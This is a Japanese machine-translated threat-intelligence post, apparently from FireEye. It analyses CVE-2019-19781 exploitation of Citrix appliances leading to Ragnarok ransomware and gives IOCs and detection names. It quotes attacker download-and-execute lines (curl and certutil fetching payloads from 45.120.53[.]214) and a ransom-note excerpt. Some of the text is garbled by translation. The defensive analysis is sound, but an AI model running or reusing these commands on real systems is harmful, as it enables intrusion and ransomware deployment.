進化し続ける脅威
2020 年 1 月 10 日以降、FireEye は CVE-2019-19781 の大規模なグローバルなエクスプロイトを追跡しており、パッチが適用されていない、または緩和策が適用されていない Citrix ADC および Gateway インスタンスに影響を与え続けています。以前に、攻撃者がこの脆弱性を悪用しようとする迅速な試みと、1 人の脅威アクターによるこれまでに見られなかったNOTROBIN マルウェア ファミリの侵害後の展開について報告しました。 FireEye は、この脆弱性の悪用に関連するアクティビティの複数のクラスターを積極的に追跡し続けています。これは主に、特定後に攻撃者が脆弱な Citrix ADC および Gateway インスタンスとどのようにやり取りするかに基づいています。
これまでに観察された CVE-2019-19781 エクスプロイト アクティビティのほとんどは、コイン マイナーまたは最も一般的には NOTROBIN の展開につながっていましたが、最近の侵害は、この脆弱性がランサムウェアの展開にも悪用されていることを示唆しています。組織が CVE-2019-19781 の悪用に関連する侵害の証拠があるかどうかを評価しようとしている場合は、FireEye と Citrix が共同公開している IOC スキャナーを使用することを強くお勧めします。これは、この投稿で説明されているアクティビティを検出します。
2020 年 1 月 16 日から 17 日にかけて、FireEye Managed Defenseは IP アドレス45[.]120[.]53[.]214が多数の FireEye クライアントで CVE-2019-19781 を悪用しようとしているのを検出しました。エクスプロイトに成功すると、影響を受けたシステムが cURL コマンドを実行して、 45[.]120[.]53[.]214からファイル名ld.shのシェル スクリプトをダウンロードすることを確認しました (図 1)。場合によっては、この同じシェル スクリプトが代わりにhxxp://198.44.227[.]126:81/citrix/ld.shからダウンロードされていました。
図 2 に示すシェル スクリプトは、 python2バイナリを検索し (注: Python は Citrix Gateway 12.x および 13.x システムにのみプリインストールされています)、2 つの追加ファイルpiz.Lan 、XOR をシステムにダウンロードします。 -encoded データ blob とde.py (Python スクリプト) を一時ディレクトリに保存します。次に、このスクリプトは権限を変更し、 de.pyを実行します。これにより、 piz.Lanがデコードおよび解凍されます。最後に、スクリプトは最初のステージング ファイルをクリーンアップし、 scan.pyを実行します。この追加のスクリプトについては、記事の後半で詳しく説明します。
#!/ビン/sh mkdir /tmp/rAgn curl hxxp://45[.]120[.]53[.]214/piz.Lan – または piz.Lan rm de.py |
図 2: 侵入先のシステムに追加のツールをダウンロードするためのシェル スクリプトである ld.sh の内容
piz.Lan -> .net.zip
de.pyから収集した情報を武器に、「 .net.zip 」 (MD5: 0caf9be8fd7ba5b605b7a7b315ef17a0) のデコードと解凍に注意を向けました。内部では、表 1 に示す 5 つのファイルを回収しました。
ファイル名 |
機能性 |
MD5 |
x86.dll |
32 ビット ダウンローダー |
9aa67d856e584b4eefc4791d2634476a |
x64.dll |
64 ビット ダウンローダー |
55b40e0068429fbbb16f2113d6842ed2 |
scan.py |
Python ソケット スキャナー |
b0acb27273563a5a2a5f71165606808c |
xp_eternalblue.replay |
リプレイファイルの悪用 |
6cf1857e569432fcfc8e506c8b0db635 |
エターナルブルー.リプレイ |
リプレイファイルの悪用 |
9e408d947ceba27259e2a9a5c71a75a8 |
表 1: スクリプト de.py によって作成された ZIP ファイル「.new.zip」の内容
ZIP の内容は、特定された脆弱なシステムのエクスプロイトを自動化する Python スキャン スクリプトであるscan.pyファイルの分析によって説明されました。最初の分析では、このスクリプトが複数のオープン ソース プロジェクトまたはスクリプトの機能を組み合わせたものであることがわかりました。一例として、図 3 に示すように、この公開GitHub リポジトリから直接改変またはコピーされたリプレイ ファイルがInstall_Backdoor関数に存在していました。
このスクリプトには、識別されたシステムが 32 ビットか 64 ビットかをチェックする複数の機能と、エクスプロイトをステップ実行する生のシェル コードも含まれていました。図 4 に示すように、 exploit_main関数が呼び出されると、32 ビットか 64 ビットかを適切に選択し、インジェクションに適した DLL を選択します。
ラグナロクと名乗る
私たちの分析は、適切にx86.dllおよびx64.dllと名付けられた 32 ビットおよび 64 ビットの DLL の機能を調べることによって続けられました。それぞれわずか 5,120 バイトで、これらのバイナリは次のタスクを実行しました (図 5 および図 6)。
- Windows 証明書サービスの一部として使用されるネイティブ ツールであるcertutilを使用して、ハードコードされた URL から (オペレーティング システムのビット数に応じて) patch32またはpatch64という名前のファイルをダウンロードします ( MITRE の ATT&CK フレームワーク内で Technique 11005 として分類されます)。
- C:UsersPublicにあるダウンロードしたバイナリsince1969.exeを実行します。
- 現在のユーザーの証明書キャッシュから URL を削除します。
certutil.exe -urlcache -split -f hxxp://45.120.53[.]214/patch32 C:/Users/Public/since1969.exe cmd.exe /c C:/ユーザー/パブリック/since1969.exe certutil -urlcache -f hxxp://45.120.53[.]214/patch32 削除 |
図 5: x86.dll からの文字列のスニペット
certutil.exe -urlcache -split -f hxxp://45.120.53[.]214/patch64 C:/Users/Public/since1969.exe cmd.exe /c C:/ユーザー/パブリック/since1969.exe certutil -urlcache -f hxxp://45.120.53[.]214/patch64 削除 |
図 6: x64.dll からの文字列のスニペット
分析時にはパッチ32もパッチ64も利用できませんでしたが、 FireEyeは、IPアドレス45[.]120[.]53[.]214にリンクされたavpass.exe (MD5:e345c861058a18510e7c4bb616e3fd9f)という名前のファイルをVirusTotalで特定しました(図8)。このファイルは、2019 年 11 月 12 日にアップロードされた一般公開されているMeterpreter バックドアのインスタンスです。追加の分析により、このバイナリが TCP ポート 1234 経由で 45[.]120[.]53[.]214 と通信したことが確認されました。
avpass.exeバイナリ内に、ツールの作成者に関する詳細なコンテキストを提供する興味深い PDB 文字列「 C:UsersragnaroksourcereposavpassDebugavpass.pdb 」が見つかりました。ラグナロクをキーワードとして利用し、ピボットして、2020 年 1 月 23 日に VirusTotal にアップロードされたsince1969.exe (MD5: 48452dd2506831d0b340e45b08799623) の別のコピーを特定することができました。2020 年 1 月 16 日のバイナリのコンパイル タイムスタンプは、関連する最初の検出と一致していますこの脅威アクターと。
このバイナリのさらなる分析とサンドボックス化により、すべての要素がまとめられました。この攻撃者は、適切に「Ragnarok」という名前のランサムウェアを展開しようとしていた可能性があります。 2020 年 1 月 17 日にラグナロク関連のアーティファクトを特定した Karsten Hahn 氏のこのツイートは、最初の検出の時間枠と一致しています。図 8 は、実行時にバイナリによって作成されるファイルの断片を示しています。
図 11 に示すように、このランサムウェアが投下する身代金メモは、3 つの電子メール アドレスを指しています。 6.できるだけ早く支払うのが賢明です。これ以上の損失はありません。 身代金: マシンごとに 1 ビットコイン、すべてのマシンで 5 ビットコイン ビットコインを購入して送金する方法は?あなたはグーグルサーチがとても上手だと思います asgardmaster5@protonmail[.]com 注意:5 日以内に身代金を支払わない場合、すべてのファイルがインターネット上で公開され、削除されます。 |
図 9: 「since1969.exe」によって投下された身代金メモのスニペット
含意
FireEye は、現在 CVE-2019-19781 を悪用しようとしている複数の攻撃者を引き続き観察しています。この投稿では、複数のエクスプロイトを使用して脆弱な内部システムを利用し、組織内を横方向に移動している 1 人の攻撃者について概説します。私たちの最初の観察に基づくと、最終的な目的は、ゲートウェイを中心的なピボット ポイントとして使用して、ランサムウェアを展開することだった可能性があります。
前述のように、Citrix アプライアンスが侵害された疑いがある場合は、 Citrix と提携してリリースされたツール FireEyeを利用することをお勧めします。
テクニックを検出する
CVE-2019-19781 のほかに、FireEye は、Meterpreter および EternalBlue の名前付き検出を含む、この投稿で説明されているアクティビティをプラットフォーム全体で検出します。表 2 には、このアクティビティの検出に役立つ特定の検出名がいくつか含まれています。
署名名 |
CERTUTIL.EXE ダウンローダー (ユーティリティ) |
CURL ダウンロード シェル スクリプト |
ETERNALBLUEエクスプロイト |
METERPRETER (バックドア) |
METERPRETER URI (ステージャー) |
SMB – エターナルブルー |
表 2: この投稿で説明されているアクティビティの FireEye 検出
指標
表 3 は、この投稿で説明した独自のインジケーターを示しています。
インジケーターの種類 |
インジケータ |
ノート |
通信網 |
45[.]120[.]53[.]214 |
|
通信網 |
198[.]44[.]227[.]126 |
|
ホスト |
91dd06f49b09a2242d4085703599b7a7 |
ピズラン |
ホスト |
01af5ad23a282d0fd40597c1024307ca |
de.py |
ホスト |
bd977d9d2b68dd9b12a3878edd192319 |
ld.sh |
ホスト |
0caf9be8fd7ba5b605b7a7b315ef17a0 |
.new.zip |
ホスト |
9aa67d856e584b4eefc4791d2634476a |
x86.dll |
ホスト |
55b40e0068429fbbb16f2113d6842ed2 |
x64.dll |
ホスト |
b0acb27273563a5a2a5f71165606808c |
scan.py |
ホスト |
6cf1857e569432fcfc8e506c8b0db635 |
xp_eternalblue.replay |
ホスト |
9e408d947ceba27259e2a9a5c71a75a8 |
エターナルブルー.リプレイ |
咳 |
e345c861058a18510e7c4bb616e3fd9f |
avpass.exe |
ホスト |
48452dd2506831d0b340e45b08799623 |
since1969.exe |
電子メールアドレス |
asgardmaster5@protonmail[.]com |
身代金メモから |
電子メールアドレス |
ragnar0k@ctemplar[.]com |
身代金メモから |
電子メールアドレス |
j.jasonm@yandex[.]com |
身代金メモから |
表 3: このブログ投稿からの IOC のコレクション
参照: https://www.mandiant.com/resources/blog/nice-try-501-ransomware-not-implemented
Comments